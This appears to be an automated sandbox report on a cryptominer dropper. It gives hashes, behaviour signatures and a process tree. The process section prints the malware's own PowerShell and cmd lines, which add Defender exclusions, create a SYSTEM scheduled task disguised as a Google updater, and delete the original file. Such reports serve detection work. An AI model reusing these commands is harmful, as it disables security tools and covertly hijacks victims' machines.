Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1799s -
max time network
1782s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 4648 created 3404 4648 UMRsPGc4u9tycx9r.exe 51 PID 4648 created 3404 4648 UMRsPGc4u9tycx9r.exe 51 PID 4648 created 3404 4648 UMRsPGc4u9tycx9r.exe 51 PID 4648 created 3404 4648 UMRsPGc4u9tycx9r.exe 51 PID 2160 created 3404 2160 updater.exe 51 PID 2160 created 3404 2160 updater.exe 51 PID 2160 created 3404 2160 updater.exe 51 PID 5036 created 3404 5036 conhost.exe 51 PID 2160 created 3404 2160 updater.exe 51 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral24/memory/3244-125-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-129-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-130-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-132-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-135-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-138-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-140-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-142-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-144-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-146-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-148-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-150-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-152-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-154-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-156-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-158-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-160-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-162-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-164-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-166-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-168-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-170-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-172-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-174-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-176-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-178-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-180-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-182-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-184-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig behavioral24/memory/3244-186-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 2160 updater.exe -
resource yara_rule behavioral24/memory/3244-119-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-125-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-129-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-130-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-132-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-135-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-138-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-140-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-142-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-144-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-146-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-148-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-150-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-152-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-154-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-156-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-158-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-160-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-162-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-164-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-166-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-168-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-170-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-172-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-174-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-176-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-178-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-180-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-182-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-184-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx behavioral24/memory/3244-186-0x00007FF6FCDE0000-0x00007FF6FD5D4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2160 set thread context of 5036 2160 updater.exe 114 PID 2160 set thread context of 3244 2160 updater.exe 115 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe UMRsPGc4u9tycx9r.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2084 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 4648 UMRsPGc4u9tycx9r.exe 4648 UMRsPGc4u9tycx9r.exe 3912 powershell.exe 3912 powershell.exe 4648 UMRsPGc4u9tycx9r.exe 4648 UMRsPGc4u9tycx9r.exe 2984 powershell.exe 2984 powershell.exe 4648 UMRsPGc4u9tycx9r.exe 4648 UMRsPGc4u9tycx9r.exe 4648 UMRsPGc4u9tycx9r.exe 4648 UMRsPGc4u9tycx9r.exe 2704 powershell.exe 2704 powershell.exe 2160 updater.exe 2160 updater.exe 2180 powershell.exe 2180 powershell.exe 2160 updater.exe 2160 updater.exe 4936 powershell.exe 4936 powershell.exe 2160 updater.exe 2160 updater.exe 2160 updater.exe 2160 updater.exe 5036 conhost.exe 5036 conhost.exe 2160 updater.exe 2160 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3912 powershell.exe Token: SeDebugPrivilege 2984 powershell.exe Token: SeIncreaseQuotaPrivilege 2984 powershell.exe Token: SeSecurityPrivilege 2984 powershell.exe Token: SeTakeOwnershipPrivilege 2984 powershell.exe Token: SeLoadDriverPrivilege 2984 powershell.exe Token: SeSystemProfilePrivilege 2984 powershell.exe Token: SeSystemtimePrivilege 2984 powershell.exe Token: SeProfSingleProcessPrivilege 2984 powershell.exe Token: SeIncBasePriorityPrivilege 2984 powershell.exe Token: SeCreatePagefilePrivilege 2984 powershell.exe Token: SeBackupPrivilege 2984 powershell.exe Token: SeRestorePrivilege 2984 powershell.exe Token: SeShutdownPrivilege 2984 powershell.exe Token: SeDebugPrivilege 2984 powershell.exe Token: SeSystemEnvironmentPrivilege 2984 powershell.exe Token: SeRemoteShutdownPrivilege 2984 powershell.exe Token: SeUndockPrivilege 2984 powershell.exe Token: SeManageVolumePrivilege 2984 powershell.exe Token: 33 2984 powershell.exe Token: 34 2984 powershell.exe Token: 35 2984 powershell.exe Token: 36 2984 powershell.exe Token: SeIncreaseQuotaPrivilege 2984 powershell.exe Token: SeSecurityPrivilege 2984 powershell.exe Token: SeTakeOwnershipPrivilege 2984 powershell.exe Token: SeLoadDriverPrivilege 2984 powershell.exe Token: SeSystemProfilePrivilege 2984 powershell.exe Token: SeSystemtimePrivilege 2984 powershell.exe Token: SeProfSingleProcessPrivilege 2984 powershell.exe Token: SeIncBasePriorityPrivilege 2984 powershell.exe Token: SeCreatePagefilePrivilege 2984 powershell.exe Token: SeBackupPrivilege 2984 powershell.exe Token: SeRestorePrivilege 2984 powershell.exe Token: SeShutdownPrivilege 2984 powershell.exe Token: SeDebugPrivilege 2984 powershell.exe Token: SeSystemEnvironmentPrivilege 2984 powershell.exe Token: SeRemoteShutdownPrivilege 2984 powershell.exe Token: SeUndockPrivilege 2984 powershell.exe Token: SeManageVolumePrivilege 2984 powershell.exe Token: 33 2984 powershell.exe Token: 34 2984 powershell.exe Token: 35 2984 powershell.exe Token: 36 2984 powershell.exe Token: SeIncreaseQuotaPrivilege 2984 powershell.exe Token: SeSecurityPrivilege 2984 powershell.exe Token: SeTakeOwnershipPrivilege 2984 powershell.exe Token: SeLoadDriverPrivilege 2984 powershell.exe Token: SeSystemProfilePrivilege 2984 powershell.exe Token: SeSystemtimePrivilege 2984 powershell.exe Token: SeProfSingleProcessPrivilege 2984 powershell.exe Token: SeIncBasePriorityPrivilege 2984 powershell.exe Token: SeCreatePagefilePrivilege 2984 powershell.exe Token: SeBackupPrivilege 2984 powershell.exe Token: SeRestorePrivilege 2984 powershell.exe Token: SeShutdownPrivilege 2984 powershell.exe Token: SeDebugPrivilege 2984 powershell.exe Token: SeSystemEnvironmentPrivilege 2984 powershell.exe Token: SeRemoteShutdownPrivilege 2984 powershell.exe Token: SeUndockPrivilege 2984 powershell.exe Token: SeManageVolumePrivilege 2984 powershell.exe Token: 33 2984 powershell.exe Token: 34 2984 powershell.exe Token: 35 2984 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 684 wrote to memory of 2996 684 cmd.exe 99 PID 684 wrote to memory of 2996 684 cmd.exe 99 PID 2704 wrote to memory of 1996 2704 powershell.exe 102 PID 2704 wrote to memory of 1996 2704 powershell.exe 102 PID 2160 wrote to memory of 5036 2160 updater.exe 114 PID 1228 wrote to memory of 2084 1228 cmd.exe 110 PID 1228 wrote to memory of 2084 1228 cmd.exe 110 PID 2160 wrote to memory of 3244 2160 updater.exe 115 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3404
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4648
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3912
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2984
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:684
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2704 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1996
